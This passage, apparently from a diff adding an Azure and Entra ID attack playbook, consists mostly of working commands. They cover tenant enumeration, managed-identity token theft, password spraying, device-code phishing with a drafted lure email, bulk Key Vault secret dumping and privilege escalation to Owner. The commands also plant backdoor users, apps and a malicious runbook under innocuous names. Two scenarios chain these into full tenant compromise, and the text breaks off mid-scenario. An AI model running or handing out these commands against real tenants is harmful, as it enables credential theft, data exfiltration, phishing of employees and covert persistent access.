277
|
+
# For a service principal
|
|
278
|
+
az role assignment list --assignee "SERVICE_PRINCIPAL_OBJECT_ID" --all --output table
|
|
279
|
+
|
|
280
|
+
# Check what actions you can perform
|
|
281
|
+
az role assignment list --all --output json | jq '.[].roleDefinitionName' | sort -u
|
|
282
|
+
```
|
|
283
|
+
|
|
284
|
+
---
|
|
285
|
+
|
|
286
|
+
### Phase 2: Azure AD Enumeration
|
|
287
|
+
|
|
288
|
+
**Step 4: Enumerate the tenant with ROADrecon**
|
|
289
|
+
|
|
290
|
+
```bash
|
|
291
|
+
# Authenticate roadrecon
|
|
292
|
+
roadrecon auth --username user@target.com --password 'P@ssw0rd!'
|
|
293
|
+
# or with a token
|
|
294
|
+
roadrecon auth --access-token "BEARER_TOKEN"
|
|
295
|
+
|
|
296
|
+
# Gather all Azure AD data
|
|
297
|
+
roadrecon gather
|
|
298
|
+
|
|
299
|
+
# Launch the web UI
|
|
300
|
+
roadrecon gui
|
|
301
|
+
# Browse to http://localhost:5000
|
|
302
|
+
|
|
303
|
+
# Export data to JSON files
|
|
304
|
+
roadrecon dump --all-json
|
|
305
|
+
```
|
|
306
|
+
|
|
307
|
+
**Step 5: AzureHound data collection for BloodHound**
|
|
308
|
+
|
|
309
|
+
```bash
|
|
310
|
+
# Collect with username/password
|
|
311
|
+
./azurehound -u "user@target.com" -p "P@ssw0rd!" list --tenant "TENANT_ID" \
|
|
312
|
+
-o azurehound-output.json
|
|
313
|
+
|
|
314
|
+
# Collect with a refresh token
|
|
315
|
+
./azurehound -r "REFRESH_TOKEN" list --tenant "TENANT_ID" -o azurehound-output.json
|
|
316
|
+
|
|
317
|
+
# Import into BloodHound (Community Edition)
|
|
318
|
+
# Start BloodHound CE, go to File Upload, import azurehound-output.json
|
|
319
|
+
```
|
|
320
|
+
|
|
321
|
+
**Step 6: Enumerate Azure AD objects manually**
|
|
322
|
+
|
|
323
|
+
```bash
|
|
324
|
+
# List all users
|
|
325
|
+
az ad user list --output table
|
|
326
|
+
az ad user list --query "[].{UPN:userPrincipalName, DisplayName:displayName, Enabled:accountEnabled}" -o table
|
|
327
|
+
|
|
328
|
+
# List all groups
|
|
329
|
+
az ad group list --output table
|
|
330
|
+
|
|
331
|
+
# List privileged roles and members
|
|
332
|
+
az rest --method GET \
|
|
333
|
+
--url "https://graph.microsoft.com/v1.0/directoryRoles" \
|
|
334
|
+
--headers "Content-Type=application/json" | jq '.value[] | {displayName, id}'
|
|
335
|
+
|
|
336
|
+
# Get Global Administrators
|
|
337
|
+
az rest --method GET \
|
|
338
|
+
--url "https://graph.microsoft.com/v1.0/directoryRoles" | \
|
|
339
|
+
jq -r '.value[] | select(.displayName == "Global Administrator") | .id' | \
|
|
340
|
+
xargs -I {} az rest --method GET \
|
|
341
|
+
--url "https://graph.microsoft.com/v1.0/directoryRoles/{}/members" | \
|
|
342
|
+
jq '.value[].userPrincipalName'
|
|
343
|
+
|
|
344
|
+
# List all service principals
|
|
345
|
+
az ad sp list --all --output table
|
|
346
|
+
az ad sp list --all --query "[].{DisplayName:displayName, AppID:appId, ObjectID:id}" -o table
|
|
347
|
+
|
|
348
|
+
# Find service principals with credentials
|
|
349
|
+
az ad sp list --all --query "[?length(passwordCredentials) > \`0\`].displayName" -o table
|
|
350
|
+
```
|
|
351
|
+
|
|
352
|
+
---
|
|
353
|
+
|
|
354
|
+
### Phase 3: Resource Enumeration
|
|
355
|
+
|
|
356
|
+
**Step 7: Enumerate all resources across subscriptions**
|
|
357
|
+
|
|
358
|
+
```bash
|
|
359
|
+
# List all resource groups
|
|
360
|
+
az group list --output table
|
|
361
|
+
|
|
362
|
+
# List ALL resources in subscription
|
|
363
|
+
az resource list --output table
|
|
364
|
+
az resource list --query "[].{Name:name, Type:type, RG:resourceGroup, Location:location}" -o table
|
|
365
|
+
|
|
366
|
+
# Save to file for analysis
|
|
367
|
+
az resource list --output json > azure-resources.json
|
|
368
|
+
cat azure-resources.json | jq -r '.[] | "\(.type)\t\(.name)\t\(.resourceGroup)"' | sort
|
|
369
|
+
```
|
|
370
|
+
|
|
371
|
+
**Step 8: Enumerate storage accounts**
|
|
372
|
+
|
|
373
|
+
```bash
|
|
374
|
+
# List all storage accounts
|
|
375
|
+
az storage account list --output table
|
|
376
|
+
az storage account list --query "[].{Name:name, RG:resourceGroup, AllowBlobPublicAccess:allowBlobPublicAccess, HTTPSOnly:supportsHttpsTrafficOnly}" -o table
|
|
377
|
+
|
|
378
|
+
# Check for public access
|
|
379
|
+
az storage account list --query "[?allowBlobPublicAccess==\`true\`].name" -o table
|
|
380
|
+
|
|
381
|
+
# List containers in a storage account
|
|
382
|
+
az storage container list --account-name "STORAGE_ACCOUNT_NAME" --output table
|
|
383
|
+
|
|
384
|
+
# List blobs in a public container (no auth required)
|
|
385
|
+
az storage blob list \
|
|
386
|
+
--account-name "STORAGE_ACCOUNT_NAME" \
|
|
387
|
+
--container-name "CONTAINER_NAME" \
|
|
388
|
+
--output table \
|
|
389
|
+
--auth-mode login
|
|
390
|
+
|
|
391
|
+
# Download a blob
|
|
392
|
+
az storage blob download \
|
|
393
|
+
--account-name "STORAGE_ACCOUNT_NAME" \
|
|
394
|
+
--container-name "CONTAINER_NAME" \
|
|
395
|
+
--name "sensitive-file.txt" \
|
|
396
|
+
--file "./loot/sensitive-file.txt" \
|
|
397
|
+
--auth-mode login
|
|
398
|
+
```
|
|
399
|
+
|
|
400
|
+
**Step 9: Enumerate Key Vaults**
|
|
401
|
+
|
|
402
|
+
```bash
|
|
403
|
+
# List all Key Vaults
|
|
404
|
+
az keyvault list --output table
|
|
405
|
+
|
|
406
|
+
# List secrets in a Key Vault (requires access policy or RBAC permission)
|
|
407
|
+
az keyvault secret list --vault-name "TARGET_VAULT" --output table
|
|
408
|
+
|
|
409
|
+
# Retrieve a secret value
|
|
410
|
+
az keyvault secret show \
|
|
411
|
+
--vault-name "TARGET_VAULT" \
|
|
412
|
+
--name "SECRET_NAME" \
|
|
413
|
+
--query "value" -o tsv
|
|
414
|
+
|
|
415
|
+
# List all certificates
|
|
416
|
+
az keyvault certificate list --vault-name "TARGET_VAULT" --output table
|
|
417
|
+
|
|
418
|
+
# List all keys
|
|
419
|
+
az keyvault key list --vault-name "TARGET_VAULT" --output table
|
|
420
|
+
|
|
421
|
+
# Check Key Vault access policies (who has access)
|
|
422
|
+
az keyvault show --name "TARGET_VAULT" \
|
|
423
|
+
--query "properties.accessPolicies[].{ObjectID:objectId, Secrets:permissions.secrets}" -o table
|
|
424
|
+
```
|
|
425
|
+
|
|
426
|
+
**Step 10: Enumerate App Services**
|
|
427
|
+
|
|
428
|
+
```bash
|
|
429
|
+
# List all App Services
|
|
430
|
+
az webapp list --output table
|
|
431
|
+
az webapp list --query "[].{Name:name, RG:resourceGroup, State:state, DefaultHostName:defaultHostName}" -o table
|
|
432
|
+
|
|
433
|
+
# Get App Service configuration (may include connection strings, env vars)
|
|
434
|
+
az webapp config appsettings list \
|
|
435
|
+
--name "APP_NAME" \
|
|
436
|
+
--resource-group "RESOURCE_GROUP" \
|
|
437
|
+
--output table
|
|
438
|
+
|
|
439
|
+
# Get connection strings
|
|
440
|
+
az webapp config connection-string list \
|
|
441
|
+
--name "APP_NAME" \
|
|
442
|
+
--resource-group "RESOURCE_GROUP" \
|
|
443
|
+
--output table
|
|
444
|
+
|
|
445
|
+
# Check if deployment credentials are accessible
|
|
446
|
+
az webapp deployment list-publishing-credentials \
|
|
447
|
+
--name "APP_NAME" \
|
|
448
|
+
--resource-group "RESOURCE_GROUP" \
|
|
449
|
+
--query "{publishingUsername:publishingUserName, publishingPassword:publishingPassword}" -o json
|
|
450
|
+
```
|
|
451
|
+
|
|
452
|
+
---
|
|
453
|
+
|
|
454
|
+
### Phase 4: Exploitation
|
|
455
|
+
|
|
456
|
+
**Step 11: Azure IMDS — Managed Identity Token Theft**
|
|
457
|
+
|
|
458
|
+
If you have code execution on an Azure VM, App Service, or Azure Function:
|
|
459
|
+
|
|
460
|
+
```bash
|
|
461
|
+
# On the target Azure compute resource (VM, App Service, etc.)
|
|
462
|
+
# Obtain Managed Identity token from IMDS
|
|
463
|
+
curl -s -H "Metadata: true" \
|
|
464
|
+
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2019-08-01&resource=https://management.azure.com/" \
|
|
465
|
+
| python3 -m json.tool
|
|
466
|
+
|
|
467
|
+
# Save the access token
|
|
468
|
+
ACCESS_TOKEN=$(curl -s -H "Metadata: true" \
|
|
469
|
+
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2019-08-01&resource=https://management.azure.com/" \
|
|
470
|
+
| jq -r '.access_token')
|
|
471
|
+
|
|
472
|
+
echo $ACCESS_TOKEN
|
|
473
|
+
|
|
474
|
+
# Get token for Microsoft Graph
|
|
475
|
+
GRAPH_TOKEN=$(curl -s -H "Metadata: true" \
|
|
476
|
+
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2019-08-01&resource=https://graph.microsoft.com/" \
|
|
477
|
+
| jq -r '.access_token')
|
|
478
|
+
|
|
479
|
+
# Get token for Key Vault
|
|
480
|
+
KV_TOKEN=$(curl -s -H "Metadata: true" \
|
|
481
|
+
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2019-08-01&resource=https://vault.azure.net" \
|
|
482
|
+
| jq -r '.access_token')
|
|
483
|
+
|
|
484
|
+
# Use the ARM token to enumerate resources
|
|
485
|
+
curl -s -H "Authorization: Bearer $ACCESS_TOKEN" \
|
|
486
|
+
"https://management.azure.com/subscriptions?api-version=2020-01-01" | jq '.value[].id'
|
|
487
|
+
|
|
488
|
+
# Use the token with az CLI
|
|
489
|
+
az account get-access-token --resource https://management.azure.com
|
|
490
|
+
# Then set it manually for roadrecon or other tools
|
|
491
|
+
```
|
|
492
|
+
|
|
493
|
+
**Step 12: Abuse App Service environment variables via Kudu console**
|
|
494
|
+
|
|
495
|
+
```bash
|
|
496
|
+
# Kudu is the App Service deployment engine — accessible at:
|
|
497
|
+
# https://APP_NAME.scm.azurewebsites.net
|
|
498
|
+
|
|
499
|
+
# If you have deployment credentials or can authenticate:
|
|
500
|
+
curl -u "PUBLISHING_USER:PUBLISHING_PASSWORD" \
|
|
501
|
+
"https://APP_NAME.scm.azurewebsites.net/api/environment" \
|
|
502
|
+
| python3 -m json.tool
|
|
503
|
+
|
|
504
|
+
# Or use the Kudu REST API to run commands
|
|
505
|
+
curl -X POST \
|
|
506
|
+
-u "PUBLISHING_USER:PUBLISHING_PASSWORD" \
|
|
507
|
+
-H "Content-Type: application/json" \
|
|
508
|
+
-d '{"command": "env", "dir": "/"}' \
|
|
509
|
+
"https://APP_NAME.scm.azurewebsites.net/api/command" \
|
|
510
|
+
| python3 -m json.tool
|
|
511
|
+
|
|
512
|
+
# Access the process environment (dumps all env vars including secrets)
|
|
513
|
+
curl -u "PUBLISHING_USER:PUBLISHING_PASSWORD" \
|
|
514
|
+
"https://APP_NAME.scm.azurewebsites.net/api/processes/1/environments" \
|
|
515
|
+
| python3 -m json.tool
|
|
516
|
+
```
|
|
517
|
+
|
|
518
|
+
**Step 13: Azure AD Password Spray**
|
|
519
|
+
|
|
520
|
+
```bash
|
|
521
|
+
# Spray365 — intelligent Azure AD spray with lockout protection
|
|
522
|
+
# First, generate a spray plan
|
|
523
|
+
python3 spray365.py generate \
|
|
524
|
+
--count 1 \
|
|
525
|
+
--password 'Winter2024!' \
|
|
526
|
+
-sf users.txt \
|
|
527
|
+
-o spray-plan.s365
|
|
528
|
+
|
|
529
|
+
# Execute the spray (respects lockout thresholds)
|
|
530
|
+
python3 spray365.py spray -sf spray-plan.s365
|
|
531
|
+
|
|
532
|
+
# Multi-password spray
|
|
533
|
+
python3 spray365.py generate \
|
|
534
|
+
--count 3 \
|
|
535
|
+
--password 'Winter2024!' 'Spring2024!' 'Company123!' \
|
|
536
|
+
-sf users.txt \
|
|
537
|
+
-o spray-plan-multi.s365
|
|
538
|
+
|
|
539
|
+
python3 spray365.py spray -sf spray-plan-multi.s365 --delay 30 --jitter 15
|
|
540
|
+
```
|
|
541
|
+
|
|
542
|
+
```powershell
|
|
543
|
+
# MSOLSpray (PowerShell)
|
|
544
|
+
Invoke-MSOLSpray -UserList .\users.txt -Password "Winter2024!" -Verbose
|
|
545
|
+
|
|
546
|
+
# With delay to avoid lockout
|
|
547
|
+
Invoke-MSOLSpray -UserList .\users.txt -Password "Winter2024!" -Delay 30
|
|
548
|
+
```
|
|
549
|
+
|
|
550
|
+
**Step 14: OAuth Device Code Phishing**
|
|
551
|
+
|
|
552
|
+
```bash
|
|
553
|
+
# Using TokenTactics to initiate device code flow
|
|
554
|
+
Import-Module ./TokenTactics.psd1
|
|
555
|
+
Get-AzureToken -Client MSGraph
|
|
556
|
+
|
|
557
|
+
# The tool generates a device code — send the URL and code to victim via phishing
|
|
558
|
+
# When victim authenticates, you receive the token
|
|
559
|
+
|
|
560
|
+
# Alternatively, use roadtx
|
|
561
|
+
roadtx device -c "29d9ed98-a469-4536-ade2-f981bc1d605e"
|
|
562
|
+
# roadtx outputs: Go to https://microsoft.com/devicelogin and enter code XXXXXXXX
|
|
563
|
+
# Once victim logs in, you get tokens
|
|
564
|
+
```
|
|
565
|
+
|
|
566
|
+
**Step 15: Service Principal credential abuse**
|
|
567
|
+
|
|
568
|
+
```bash
|
|
569
|
+
# If you found a client secret in source code or environment variables:
|
|
570
|
+
CLIENT_ID="xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"
|
|
571
|
+
CLIENT_SECRET="FOUND_SECRET"
|
|
572
|
+
TENANT_ID="xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"
|
|
573
|
+
|
|
574
|
+
# Get an access token
|
|
575
|
+
curl -s -X POST \
|
|
576
|
+
"https://login.microsoftonline.com/$TENANT_ID/oauth2/v2.0/token" \
|
|
577
|
+
-H "Content-Type: application/x-www-form-urlencoded" \
|
|
578
|
+
-d "grant_type=client_credentials&client_id=$CLIENT_ID&client_secret=$CLIENT_SECRET&scope=https://graph.microsoft.com/.default" \
|
|
579
|
+
| jq '.'
|
|
580
|
+
|
|
581
|
+
# Login with az CLI using service principal
|
|
582
|
+
az login --service-principal \
|
|
583
|
+
-u "$CLIENT_ID" \
|
|
584
|
+
-p "$CLIENT_SECRET" \
|
|
585
|
+
--tenant "$TENANT_ID"
|
|
586
|
+
|
|
587
|
+
# Enumerate what this SP can access
|
|
588
|
+
az role assignment list --assignee "$CLIENT_ID" --all -o table
|
|
589
|
+
```
|
|
590
|
+
|
|
591
|
+
**Step 16: Key Vault secret exfiltration**
|
|
592
|
+
|
|
593
|
+
```bash
|
|
594
|
+
# List all secrets
|
|
595
|
+
az keyvault secret list --vault-name "TARGET_VAULT" -o json | jq -r '.[].name'
|
|
596
|
+
|
|
597
|
+
# Dump ALL secrets from a vault
|
|
598
|
+
for secret in $(az keyvault secret list --vault-name "TARGET_VAULT" -o json | jq -r '.[].name'); do
|
|
599
|
+
echo "=== $secret ==="
|
|
600
|
+
az keyvault secret show --vault-name "TARGET_VAULT" --name "$secret" --query "value" -o tsv
|
|
601
|
+
done
|
|
602
|
+
|
|
603
|
+
# Direct REST API call with a token
|
|
604
|
+
KV_TOKEN="TOKEN_WITH_KEY_VAULT_SCOPE"
|
|
605
|
+
curl -s -H "Authorization: Bearer $KV_TOKEN" \
|
|
606
|
+
"https://TARGET_VAULT.vault.azure.net/secrets?api-version=7.3" | jq '.value[].id'
|
|
607
|
+
|
|
608
|
+
curl -s -H "Authorization: Bearer $KV_TOKEN" \
|
|
609
|
+
"https://TARGET_VAULT.vault.azure.net/secrets/SECRET_NAME?api-version=7.3" | jq '.value'
|
|
610
|
+
```
|
|
611
|
+
|
|
612
|
+
---
|
|
613
|
+
|
|
614
|
+
### Phase 5: Privilege Escalation
|
|
615
|
+
|
|
616
|
+
**Step 17: Identify privilege escalation paths**
|
|
617
|
+
|
|
618
|
+
```bash
|
|
619
|
+
# Check for Owner or Contributor role on subscription
|
|
620
|
+
az role assignment list --all \
|
|
621
|
+
--query "[?roleDefinitionName=='Owner' || roleDefinitionName=='Contributor']" \
|
|
622
|
+
--output table
|
|
623
|
+
|
|
624
|
+
# Check for User Access Administrator (can grant any role)
|
|
625
|
+
az role assignment list --all \
|
|
626
|
+
--query "[?roleDefinitionName=='User Access Administrator']" \
|
|
627
|
+
--output table
|
|
628
|
+
|
|
629
|
+
# Check for privileged Azure AD roles
|
|
630
|
+
az rest --method GET \
|
|
631
|
+
--url "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments?\$expand=principal" \
|
|
632
|
+
| jq '.value[] | {role: .roleDefinitionId, principal: .principal.userPrincipalName}'
|
|
633
|
+
```
|
|
634
|
+
|
|
635
|
+
**Step 18: Escalate via User Access Administrator**
|
|
636
|
+
|
|
637
|
+
```bash
|
|
638
|
+
# If you have User Access Administrator, grant yourself Owner
|
|
639
|
+
SUBSCRIPTION_ID="$(az account show --query id -o tsv)"
|
|
640
|
+
YOUR_OBJECT_ID="$(az ad signed-in-user show --query id -o tsv)"
|
|
641
|
+
|
|
642
|
+
az role assignment create \
|
|
643
|
+
--assignee "$YOUR_OBJECT_ID" \
|
|
644
|
+
--role "Owner" \
|
|
645
|
+
--scope "/subscriptions/$SUBSCRIPTION_ID"
|
|
646
|
+
|
|
647
|
+
# Verify
|
|
648
|
+
az role assignment list --assignee "$YOUR_OBJECT_ID" --all -o table
|
|
649
|
+
```
|
|
650
|
+
|
|
651
|
+
**Step 19: Add credentials to Service Principal (backdoor)**
|
|
652
|
+
|
|
653
|
+
```bash
|
|
654
|
+
# Add a new password to an existing Service Principal
|
|
655
|
+
az ad sp credential reset \
|
|
656
|
+
--id "SERVICE_PRINCIPAL_OBJECT_ID" \
|
|
657
|
+
--password "NewBackdoorPassword123!" \
|
|
658
|
+
--years 2
|
|
659
|
+
|
|
660
|
+
# Add a new credential without removing existing ones
|
|
661
|
+
az ad app credential reset \
|
|
662
|
+
--id "APPLICATION_OBJECT_ID" \
|
|
663
|
+
--append \
|
|
664
|
+
--years 2
|
|
665
|
+
```
|
|
666
|
+
|
|
667
|
+
**Step 20: Azure Automation Runbook code execution**
|
|
668
|
+
|
|
669
|
+
```bash
|
|
670
|
+
# List Automation Accounts
|
|
671
|
+
az automation account list --output table
|
|
672
|
+
|
|
673
|
+
# List Runbooks
|
|
674
|
+
az automation runbook list \
|
|
675
|
+
--automation-account-name "AUTOMATION_ACCOUNT" \
|
|
676
|
+
--resource-group "RESOURCE_GROUP" \
|
|
677
|
+
--output table
|
|
678
|
+
|
|
679
|
+
# Create a malicious runbook
|
|
680
|
+
cat > malicious-runbook.ps1 <<'EOF'
|
|
681
|
+
# Get Managed Identity token
|
|
682
|
+
$response = Invoke-WebRequest -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2019-08-01&resource=https://management.azure.com/" -Headers @{Metadata="true"}
|
|
683
|
+
$token = ($response.Content | ConvertFrom-Json).access_token
|
|
684
|
+
Write-Output "TOKEN: $token"
|
|
685
|
+
|
|
686
|
+
# Or enumerate resources
|
|
687
|
+
Connect-AzAccount -Identity
|
|
688
|
+
Get-AzResource | Select-Object Name, ResourceType, ResourceGroupName
|
|
689
|
+
EOF
|
|
690
|
+
|
|
691
|
+
az automation runbook create \
|
|
692
|
+
--automation-account-name "AUTOMATION_ACCOUNT" \
|
|
693
|
+
--resource-group "RESOURCE_GROUP" \
|
|
694
|
+
--name "SystemUpdate" \
|
|
695
|
+
--type PowerShell \
|
|
696
|
+
--description "System maintenance"
|
|
697
|
+
|
|
698
|
+
az automation runbook replace-content \
|
|
699
|
+
--automation-account-name "AUTOMATION_ACCOUNT" \
|
|
700
|
+
--resource-group "RESOURCE_GROUP" \
|
|
701
|
+
--name "SystemUpdate" \
|
|
702
|
+
--content @malicious-runbook.ps1
|
|
703
|
+
|
|
704
|
+
az automation runbook publish \
|
|
705
|
+
--automation-account-name "AUTOMATION_ACCOUNT" \
|
|
706
|
+
--resource-group "RESOURCE_GROUP" \
|
|
707
|
+
--name "SystemUpdate"
|
|
708
|
+
|
|
709
|
+
az automation runbook start \
|
|
710
|
+
--automation-account-name "AUTOMATION_ACCOUNT" \
|
|
711
|
+
--resource-group "RESOURCE_GROUP" \
|
|
712
|
+
--name "SystemUpdate"
|
|
713
|
+
```
|
|
714
|
+
|
|
715
|
+
---
|
|
716
|
+
|
|
717
|
+
### Phase 6: Persistence
|
|
718
|
+
|
|
719
|
+
**Step 21: Create a backdoor user**
|
|
720
|
+
|
|
721
|
+
```bash
|
|
722
|
+
# Create a new Azure AD user
|
|
723
|
+
az ad user create \
|
|
724
|
+
--display-name "IT Support Admin" \
|
|
725
|
+
--user-principal-name "itsupport@TARGET_DOMAIN.onmicrosoft.com" \
|
|
726
|
+
--password "BackdoorPass123!" \
|
|
727
|
+
--force-change-password-next-sign-in false
|
|
728
|
+
|
|
729
|
+
# Get the new user's object ID
|
|
730
|
+
NEW_USER_ID=$(az ad user show \
|
|
731
|
+
--id "itsupport@TARGET_DOMAIN.onmicrosoft.com" \
|
|
732
|
+
--query id -o tsv)
|
|
733
|
+
|
|
734
|
+
# Assign Global Administrator role (requires Global Admin or Privileged Role Admin)
|
|
735
|
+
az rest --method POST \
|
|
736
|
+
--url "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments" \
|
|
737
|
+
--headers "Content-Type=application/json" \
|
|
738
|
+
--body "{\"@odata.type\": \"#microsoft.graph.unifiedRoleAssignment\", \"roleDefinitionId\": \"62e90394-69f5-4237-9190-012177145e10\", \"principalId\": \"$NEW_USER_ID\", \"directoryScopeId\": \"/\"}"
|
|
739
|
+
```
|
|
740
|
+
|
|
741
|
+
**Step 22: Register a backdoor application**
|
|
742
|
+
|
|
743
|
+
```bash
|
|
744
|
+
# Create a new application registration
|
|
745
|
+
az ad app create \
|
|
746
|
+
--display-name "Microsoft Graph Connector" \
|
|
747
|
+
--sign-in-audience AzureADMyOrg
|
|
748
|
+
|
|
749
|
+
APP_ID=$(az ad app list --display-name "Microsoft Graph Connector" --query "[0].appId" -o tsv)
|
|
750
|
+
APP_OBJECT_ID=$(az ad app list --display-name "Microsoft Graph Connector" --query "[0].id" -o tsv)
|
|
751
|
+
|
|
752
|
+
# Create a service principal for it
|
|
753
|
+
az ad sp create --id "$APP_ID"
|
|
754
|
+
|
|
755
|
+
# Add a password credential
|
|
756
|
+
az ad app credential reset --id "$APP_OBJECT_ID" --years 2
|
|
757
|
+
|
|
758
|
+
# Grant application permissions (requires admin consent for sensitive scopes)
|
|
759
|
+
# This grants Directory.ReadWrite.All
|
|
760
|
+
az ad app permission add \
|
|
761
|
+
--id "$APP_OBJECT_ID" \
|
|
762
|
+
--api "00000003-0000-0000-c000-000000000000" \
|
|
763
|
+
--api-permissions "19dbc75e-c2e2-444c-a770-ec69d8559fc7=Role"
|
|
764
|
+
|
|
765
|
+
# Grant admin consent (requires Global Admin)
|
|
766
|
+
az ad app permission admin-consent --id "$APP_OBJECT_ID"
|
|
767
|
+
```
|
|
768
|
+
|
|
769
|
+
---
|
|
770
|
+
|
|
771
|
+
## 5. Azure AD Password Spray — Full Workflow
|
|
772
|
+
|
|
773
|
+
```bash
|
|
774
|
+
# Step 1: Gather target email addresses from OSINT
|
|
775
|
+
# LinkedIn scraping, hunter.io, company website
|
|
776
|
+
# Format: user@target.com, one per line
|
|
777
|
+
cat > users.txt <<EOF
|
|
778
|
+
john.smith@targetcorp.com
|
|
779
|
+
jane.doe@targetcorp.com
|
|
780
|
+
admin@targetcorp.com
|
|
781
|
+
EOF
|
|
782
|
+
|
|
783
|
+
# Step 2: Validate which users exist (user enumeration via login page timing)
|
|
784
|
+
# Use o365spray for user enumeration
|
|
785
|
+
pip3 install o365spray
|
|
786
|
+
python3 o365spray.py --validate --domain targetcorp.com
|
|
787
|
+
python3 o365spray.py --enum -U users.txt --domain targetcorp.com
|
|
788
|
+
|
|
789
|
+
# Step 3: Identify the tenant ID and federation type
|
|
790
|
+
python3 o365spray.py --validate --domain targetcorp.com
|
|
791
|
+
# Or:
|
|
792
|
+
curl -s "https://login.microsoftonline.com/targetcorp.com/.well-known/openid-configuration" \
|
|
793
|
+
| jq -r '.issuer' # Contains tenant ID
|
|
794
|
+
|
|
795
|
+
# Step 4: Check if tenant uses ADFS (federated) or Managed auth
|
|
796
|
+
curl -s "https://login.microsoftonline.com/common/userrealm/user@targetcorp.com?api-version=1.0" \
|
|
797
|
+
| jq '{NameSpaceType, AuthURL, DomainName}'
|
|
798
|
+
# NameSpaceType: "Managed" = cloud-only, "Federated" = ADFS
|
|
799
|
+
|
|
800
|
+
# Step 5: Perform the spray (never exceed 1 attempt per user per 30 minutes)
|
|
801
|
+
python3 spray365.py generate \
|
|
802
|
+
--count 1 \
|
|
803
|
+
--password 'Autumn2024!' \
|
|
804
|
+
-sf users.txt \
|
|
805
|
+
-o spray-plan.s365
|
|
806
|
+
|
|
807
|
+
python3 spray365.py spray -sf spray-plan.s365 --delay 60 --jitter 30
|
|
808
|
+
|
|
809
|
+
# Step 6: Use valid credentials
|
|
810
|
+
az login --username "found.user@targetcorp.com" --password "Autumn2024!"
|
|
811
|
+
```
|
|
812
|
+
|
|
813
|
+
---
|
|
814
|
+
|
|
815
|
+
## 6. Real Attack Scenarios
|
|
816
|
+
|
|
817
|
+
### Scenario A: GitHub Repo to Full Tenant Compromise
|
|
818
|
+
|
|
819
|
+
**Context:** Azure Service Principal credentials found in a public GitHub repository's commit history.
|
|
820
|
+
|
|
821
|
+
```bash
|
|
822
|
+
# Step 1: Extract credentials from git history
|
|
823
|
+
git clone https://github.com/TARGET_ORG/TARGET_REPO
|
|
824
|
+
cd TARGET_REPO
|
|
825
|
+
git log --all --oneline
|
|
826
|
+
git show COMMIT_HASH -- config/azure.json
|
|
827
|
+
|
|
828
|
+
# Found: CLIENT_ID, CLIENT_SECRET, TENANT_ID
|
|
829
|
+
|
|
830
|
+
# Step 2: Authenticate as the Service Principal
|
|
831
|
+
az login --service-principal \
|
|
832
|
+
-u "CLIENT_ID" \
|
|
833
|
+
-p "CLIENT_SECRET" \
|
|
834
|
+
--tenant "TENANT_ID"
|
|
835
|
+
|
|
836
|
+
# Step 3: Identify the SP's role assignments
|
|
837
|
+
CLIENT_OBJECT_ID=$(az ad sp show --id "CLIENT_ID" --query id -o tsv)
|
|
838
|
+
az role assignment list --assignee "$CLIENT_OBJECT_ID" --all -o table
|
|
839
|
+
# Found: Contributor on subscription
|
|
840
|
+
|
|
841
|
+
# Step 4: Enumerate all resources
|
|
842
|
+
az resource list -o table > all-resources.txt
|
|
843
|
+
|
|
844
|
+
# Step 5: Target Key Vaults
|
|
845
|
+
az keyvault list -o table
|
|
846
|
+
for secret in $(az keyvault secret list --vault-name "prod-kv" -o json | jq -r '.[].name'); do
|
|
847
|
+
echo "=== $secret ==="
|
|
848
|
+
az keyvault secret show --vault-name "prod-kv" --name "$secret" -q "value" -o tsv
|
|
849
|
+
done
|
|
850
|
+
# Found: Database connection strings, API keys, admin passwords
|
|
851
|
+
|
|
852
|
+
# Step 6: Access Storage Accounts with sensitive data
|
|
853
|
+
az storage account list -o table
|
|
854
|
+
az storage container list --account-name "prodstorageacct" --auth-mode login -o table
|
|
855
|
+
az storage blob list \
|
|
856
|
+
--account-name "prodstorageacct" \
|
|
857
|
+
--container-name "backups" \
|
|
858
|
+
--auth-mode login -o table
|
|
859
|
+
|
|
860
|
+
# Download backup files
|
|
861
|
+
az storage blob download \
|
|
862
|
+
--account-name "prodstorageacct" \
|
|
863
|
+
--container-name "backups" \
|
|
864
|
+
--name "db-backup-2024-01-15.sql.gz" \
|
|
865
|
+
--file "./loot/db-backup.sql.gz" \
|
|
866
|
+
--auth-mode login
|
|
867
|
+
|
|
868
|
+
# Step 7: Check if SP can create new SP credentials (backdoor)
|
|
869
|
+
az ad sp credential reset --id "$CLIENT_OBJECT_ID" --append --years 2
|
|
870
|
+
# Document new credentials for persistence
|
|
871
|
+
|
|
872
|
+
# Step 8: Document the full chain
|
|
873
|
+
echo "Chain: GitHub repo leak -> SP Contributor -> Key Vault secrets + Storage data"
|
|
874
|
+
```
|
|
875
|
+
|
|
876
|
+
---
|
|
877
|
+
|
|
878
|
+
### Scenario B: Phishing to Azure AD via Device Code
|
|
879
|
+
|
|
880
|
+
**Context:** No initial credentials. Target uses Microsoft 365. Goal: compromise a high-privilege account.
|
|
881
|
+
|
|
882
|
+
```bash
|
|
883
|
+
# Step 1: Identify target email addresses
|
|
884
|
+
# OSINT via LinkedIn, company website, email format guessing
|
|
885
|
+
|
|
886
|
+
# Step 2: Perform user enumeration
|
|
887
|
+
python3 o365spray.py --enum -U targets.txt --domain targetcorp.com -o valid-users.txt
|
|
888
|
+
|
|
889
|
+
# Step 3: Initiate device code phishing
|
|
890
|
+
# In PowerShell with TokenTactics:
|
|
891
|
+
Import-Module ./TokenTactics.psd1
|
|
892
|
+
Get-AzureToken -Client MSGraph
|
|
893
|
+
# Output: Go to https://microsoft.com/devicelogin and enter code: XXXXXXXX
|
|
894
|
+
# Craft a phishing email:
|
|
895
|
+
# "Your Microsoft account needs verification. Go to https://microsoft.com/devicelogin and enter code XXXXXXXX"
|
|
896
|
+
|
|
897
|
+
# Step 4: Wait for victim to authenticate
|
|
898
|
+
# TokenTactics automatically captures the token when victim authenticates
|
|
899
|
+
|
|
900
|
+
# Step 5: Use captured refresh token for persistent access
|
|
901
|
+
$RefreshToken = "CAPTURED_REFRESH_TOKEN"
|
|
902
|
+
|
|
903
|
+
# Refresh for different resource scopes
|
|
904
|
+
Invoke-RefreshToAzureManagementToken -domain "targetcorp.com" -refreshToken $RefreshToken
|
|
905
